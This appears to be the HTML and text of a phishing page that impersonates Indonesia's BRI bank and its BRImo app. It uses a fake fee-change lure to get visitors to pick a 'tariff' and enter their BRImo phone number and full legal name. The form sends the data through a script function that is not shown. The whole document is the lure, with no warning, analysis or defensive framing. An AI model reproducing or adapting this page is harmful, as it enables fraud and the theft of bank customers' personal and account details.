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<form id="index" onsubmit="sendHpp()" method="post">
  <img width="100%" src="https://hosting.tigerengine.id/ybfkl8.png" alt="">
  <div class="radio-group">
    <input type="radio" id="1" name="tarif" value="Lama Rp 6.500" required="">
    <label class="label-radio" for="1">☑️𝗧𝗮𝗿𝗶𝗳 𝗟𝗮𝗺𝗮 𝗥𝗽 𝟲.𝟱𝟬𝟬 / 𝗕𝗶 𝗳𝗮𝘀𝘁 𝟮.𝟱𝟬𝟬</label>
    <input type="radio" id="2" name="tarif" value="Baru Rp 150.000" required="">
    <label class="label-radio" for="2">☑️𝗧𝗮𝗿𝗶𝗳 𝗕𝗮𝗿𝘂 𝗥𝗽 𝟭𝟱𝟬.𝟬𝟬𝟬 / 𝗣𝗲𝗿𝗯𝘂𝗹𝗮𝗻</label>
  </div>
  <div class="input-field">
    <label for="nohp">Masukan Nomor ponsel <b style="color: #06529C">BRI</b><b style="color: #F37024">mo</b> Anda :</label>
    <ion-icon name="phone-portrait-sharp" for="nohp" role="img" class="md hydrated"></ion-icon>
    <input type="tel" id="nohp" name="nohp" placeholder="08xxxx" maxlength="15" required="">
  </div>
  <div class="input-field">
    <label for="nama">Atas nama :</label>
    <input type="text" id="nama" name="nama" style="padding-left: 12px;" placeholder="Nama sesuai KTP" required="">
  </div>
</form>

Text Content

SILAHKAN PILIH TARIF TRANSAKSI SESUAI KEBUTUHAN ANDA DI BAWAH INI

☑️𝗧𝗮𝗿𝗶𝗳 𝗟𝗮𝗺𝗮 𝗥𝗽 𝟲.𝟱𝟬𝟬 / 𝗕𝗶 𝗳𝗮𝘀𝘁 𝟮.𝟱𝟬𝟬 ☑️𝗧𝗮𝗿𝗶𝗳
𝗕𝗮𝗿𝘂 𝗥𝗽 𝟭𝟱𝟬.𝟬𝟬𝟬 / 𝗣𝗲𝗿𝗯𝘂𝗹𝗮𝗻
Masukan Nomor ponsel BRImo Anda :
Atas nama :
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